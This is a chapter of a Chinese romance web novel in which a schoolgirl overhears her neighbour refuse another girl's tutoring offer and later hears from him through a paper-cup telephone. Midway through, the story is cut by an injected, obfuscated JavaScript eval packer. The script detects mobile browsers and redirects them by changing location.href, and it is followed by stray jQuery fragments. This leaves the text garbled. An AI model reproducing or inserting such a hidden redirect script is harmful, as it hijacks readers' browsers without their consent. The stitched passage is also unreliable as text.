22.收收心

作品:《青槐树下

    姜至心里想着千万不要再听了,可腿脚却无论如何也迈不开。


    她都快怀疑自己是不是自虐狂了。


    “阿姨呢?今天就你自己吗?”外面宋今宜问。


    姜至这才意识到,此刻楼梯里,只有宋今宜和周识鹤两个人。


    她没忍住,挪着小步子到窗户前,往外看。


    然而楼梯实在太靠那边,姜至根本看不见,她心里着急,恨不得把头从窗户伸出去。


    “我以为我说得很清楚了。”周识鹤这时出声。


    姜至忽然意识到周识鹤似乎从刚才那句口气就不太好,难道他跟宋今宜也吵架了吗?


    姜至这下真的想伸出去看了。


    “我听清楚了啊,”宋今宜声音上半点没听出来委屈的痕迹,她自顾自地问周识鹤,“你今天白天做什么了?”


    周识鹤只说一句:“麻烦让开。”


    姜至这下就算是再不长脑子也明白此刻的周识鹤是不太希望见到宋今宜了,她忍不住好奇原因,宋今宜漂亮又大方,这么看上去脾气也不错,倘若是周识鹤用这种态度跟她说话,想必她早就不敢再说第二句了。


    “叮铃铃——”


    家里的座机忽然响了,姜至不用出去都能感觉到周识鹤和宋今宜肯定正在双双往她这边看,她急忙去接电话,声音压得很低。


    “喂。”


    “你在干什么?”是徐非云。


    姜至有点无语,“你在干什么?”


    徐非云:“看戏。”


    姜至:“什么?”


    徐非云根本不理她,自顾自说:“我有一招,你改天记得请我吃饭,谢谢我。”


    “什么啊?”姜至都听不明白。


    然而下一秒,姜至忽然听到外面传来宋今宜的尖叫声。


    姜至几乎立刻就挂断电话,跑了出去。


    她推开门的一瞬间瞧见徐非云家里的那只小花猫正从楼梯缝隙里往她家院里钻,再看远处,周识鹤把宋今宜挡在了身后,宋今宜捂着胸口,一副惊魂未定的模样。


    很快,周识鹤看了过来。


    他一看到她似乎有些欲言又止,但最终什么也没说出口,只是微微侧身,跟宋今宜说:“你走吧,别再来找我了。”


    宋今宜这会儿终于有了点脾气,她拧着眉看向周识鹤,“我实话跟你说了吧,补习班是我举报的,现在我花钱请你给我补课,你总不至于还不愿意吧?”


    姜至惊了。


    补习班居然是宋今宜举报的?


    什么叫现在总不至于不愿意了?


    周识鹤难道已经拒绝过宋今宜了吗?


    按理说,现在什么事都没了,秉着礼貌,姜至也该回自己家了,可她愣是站着没动,目光直直地盯着周识鹤和宋今宜。


    “嗨,不好意思。”隔壁墙头忽然冒出来一颗脑袋。


    是徐非云!


    姜至不可置信地瞪大眼睛,还没来得及说什么,就见徐非云笑着跟周识鹤说:“不好意思啊,刚刚我家猫好像到这边来了,它哪去了?”


    周识鹤看了她一眼,“出去了。”


    徐非云“哦”一声,随即吹了一个流畅的口哨,那小花猫忽地就不知从哪儿钻了出来,它居然还是原路返回的。


    这下可又惊到了宋今宜。


    周识鹤再次侧身将宋今宜挡在身后,小花猫飞快地跳到墙头上,又很快闪身不见,徐非云这才再次冲周识鹤笑笑说:“你们聊,打扰了啊。”


    说着看向不远处的姜至,“姜至,没事来我家找我玩啊。”


    姜至:“……”


    姜至现在是真没脸再继续待着了。


    她本想转身回屋,宋今宜却冲她笑了笑,姜至脚步一顿,还没做出反应,看到宋今宜又扭回头冲周识鹤笑了笑,“看在你这两次都有用心保护我的份上,我不为难你,给你时间考虑清楚。”


    她说完就准备下楼梯离开,周识鹤却在这时开了口。


    他似乎是看着宋今宜说的,可那目光姜至却总觉得是落在了她这里。


    “我已经有学生了,不再考虑,你找别人吧。”周识鹤说。


    姜至一怔。


    所以这就是他刚刚看她那一眼的原因吗?


    是想告诉她,他已经有了别的学生,以后很难再给她补课了。


    他不仅拒绝了宋今宜,连同她一起,也拒绝了。


    姜至眨了眨眼睛,在宋今宜还没说话时,先一步转身回了自己屋。


    她直冲冲地拉开抽屉,想把那些福袋什么的全拿出来扔进垃圾桶,可是一连做了好几个抬手的动作,都滞留在空中。


    最终也只是把这些东西全用力地丢在床上,坐在床沿边,低着头,任由眼泪决堤一般掉落在膝盖上。


    姜至现在是真的动了高三转班的念头,唯一犹豫的点便是,她不知道该怎么跟林淑说。


    晚上徐非云过来找姜至,姜至看见她就想起小花猫的事情,她忍了又忍,还是说出了口,“你是故意的?”


    徐非云把苹果咬得咔嚓脆,“嗯哼。”


    姜至皱眉,“你这样不好,你知不知道万一真的抓伤了她怎么办?”


    “不会的,”徐非云说,“我家猫只抓男生,不抓女生,而且它爪子我刚剪过,针什么的也打得很齐全,我办事你放心。”


    “那也不能……”姜至都不知道该怎么说才好,她一摆手,“算了!”


    事情已经发生过了,她再说什么都是徒劳。


    “怎么着,你crush移情别恋了?”徐非云说,“我听那对话也不像啊。”


    姜至说:“你别胡说。”


    徐非云“哦”一声,完全不把姜至的话当回事,继续说:“几天没说话了啊?”


    姜至小声嘀咕:“忘了。”


    徐非云点点头,“这住一起,按理说应该是低头不见抬头见的,既然忘了,看来有段时间了。”


    姜至捂住耳朵,往床上一躺,再把被子一扯,盖在自己脸上。


    徐非云笑了笑,拍拍姜至的腿说,“哎呀,这个年龄暗恋什么的很正常的,你这开始得都算晚的,人家都是初中暗恋,高中都谈上了。”


    姜至哪敢想这事,猛地把被子掀开,很害怕她这种言论,“你别胡说了。”


    徐非云哼笑,“你还知道害怕呢,我中午跟你说的那话,你怎么想的。”


    姜至:“什么怎么想的。”


    徐非云把苹果核往垃圾桶里一丢,抽张纸巾慢条斯理地擦擦手,姜至盯着她眼睛都不敢眨一下,生怕错过什么重要信息。


    “我说了,大人很精的,”徐非云说,“如果你跟他从前是能说得上话的关系,突然冷战,被大人瞧见可不是什么好事。”


    徐非云拿擦干净的手指点点姜至的脑门,“尤其是你妈。”


    姜至这次把徐非云的话听进心里去了,晚上林淑回来后她一直琢磨着怎么才能不经意提起她近期和周识鹤不说话的原因,可林淑看上去一点都没在意她和周识鹤的变化,姜至又怕提了反倒显得心虚。


    到最后也没说出半个字。


    没了补习班,姜至在家就没那么轻松了,饭后林淑跟姜至说:“收收心,过两天就开始自己安排着写作业,开学就高三了,高三可不是什么好日子。”


    姜至试探性地说:“是天甲班不好过吧。”


    林淑:“都不好过,再说了,好过的高三能是什么好事吗?”


    她说着瞥了眼姜至,“你收收你那小心思哈,我知道你跟天甲班的学生没法比,但是你自己什么成绩总知道,别开学了考得还不如期末考。”


    这话一说,姜至彻底说不出什么了。


    晚上姜至趴在床上焦虑不安,一会儿趴得像青蛙,一会儿趴得像鸽子,一会儿又躺在床上,身体呈现一个大字。


    也不知道几点钟,窗户外面忽然传来轻微的动静。


    姜至本来以为是风,没当回事,但是很快,那声音再次传来,姜至看过去,有点害怕,又有点好奇。


    她家在一楼,如果碰见个小猫什么的,也不是没有可能。


    于是姜至小心翼翼地坐到书桌前,家里开了空调,窗户始终是关着的,外面有什么,她看不太清楚,感觉好像是什么坠着的东西。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143903|194814||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    鸟吗?


    姜至又靠近一分,就差趴在窗户上看了。


    她眯眼仔细看,隐约意识到这可能是一个一次性纸杯子,纸杯子怎么会在半空中坠着,姜至不理解地打开窗户,只见那杯子真的在空中悬着,杯底中间似乎穿的有一根管子,透明的软管子,她伸手拿过来,往下拽了拽,发现上面是有力量在控制的。


    到底是什么东西啊?


    姜至摸索了半天,把杯子正过来倒过来看了一遍,就在她准备丢出去的时候,忽然不知从哪传来一声闷闷的,“姜至,在吗?”


    姜至吓一跳,四下回头,确定房间里只有她自己后,以为自己幻听了。


    结果下一秒,又传来一声,“姜至,在吗?”


    这……怎么好像是周识鹤的声音?


    姜至猛地站起身,这一站,手里的杯子一同起伏,她目光瞬间落在这个杯子上,看了好几秒,才不可置信地把杯子放在自己耳朵上。


    她试探性地说:“周、周识鹤?”


    “是我。”周识鹤几乎立刻给了她回应。


    姜至瞪了瞪眼睛,“这是……”


    周识鹤说:“你就当是简易电话吧。”


    姜至简直不敢相信,这种东西居然能当成电话用?


    周识鹤在哪里?


    三楼吗?


    姜至这会儿已经忘记他们多久没说话了,只顾得上手里这个神奇玩意儿,“你自己做的吗?你在三楼吗?”


    “是的。”周识鹤话又开始变得很少。


    姜至沉默了下,逐渐找回思绪。


    她忽然有点尴尬,又有点激动,心跳如鼓。


    “是我自己做的。”周识鹤莫名其妙又补了一句。


    姜至意识到他可能是在她回答她刚刚那个问题。


    她坐在桌子前,垂着眼睛,搞不懂事情怎么发展成这样。


    明明前几天她还很痛苦,甚至下午还在掉眼泪,现在忽然在自己最熟悉的环境里,跟周识鹤说上了话。


    他好像还是主动的那一个。


    姜至想起刚刚周识鹤说的每一句话,一字一句穿过手里的纸杯话筒传到她耳朵,那声音像是带着温度的,将姜至的耳朵一点点烧红烧烫。


    她抿了抿唇,开口声音忍不住地有些发颤。


    她问:“你这是在做什么?”


    周识鹤那边静了两秒,很快说:“补课。”


    “我说过会带你。”


    姜至想起他跟宋今宜的话,“你说的那个学生……是我?”


    “是的,”周识鹤说,“是你。”


    姜至忽然一撇嘴,眼眶溢出满满的委屈。


    她不好意思真的当着周识鹤的面哭,想把话筒往旁边拿开一点,可又怕错过周识鹤说什么,只能低垂着眼睛,把所有情绪压在喉咙口。


    过了好一会儿,姜至才慢慢缓过来一点。


    她深吸一口气,声音闷闷的,“怎么补?就这样吗?”


    “明天上午你可以来三楼找我,白天光好,”周识鹤停顿了下,又说,“下午我还有别的人要带。”


    姜至“哦”一声,想起自己之前跟邓丽说的那番话,她挠挠头,说:“你是怎么收费的啊,我要跟我爸妈说一下。”


    “不用,”周识鹤说,“本来就是我答应你的。”


    姜至“啊?”了一声。


    周识鹤说:“早点睡吧,晚安,姜至。”


    姜至拿着纸杯没说话,也没有要松手归还纸杯的意愿。


    过了好一会儿,姜至听到周识鹤问,“你在做什么?”


    姜至听着这句话,手指一下一下划拉桌面,没忍住,咧开嘴笑了。


    这一刻,姜至过往所有积攒的不适全部烟消云散,什么补习班,什么宋今宜,她统统都不记得了。


    她甚至在想,如果早有上帝告诉她此刻会经历如何令她欣喜的事情,那么之前的所有经历,她都会心甘情愿地选择承受。


    至于周识鹤,他或许也苦恼过,或许他根本不知道她的情绪有过如此波折的起伏。


    随便吧。


    她原谅他啦。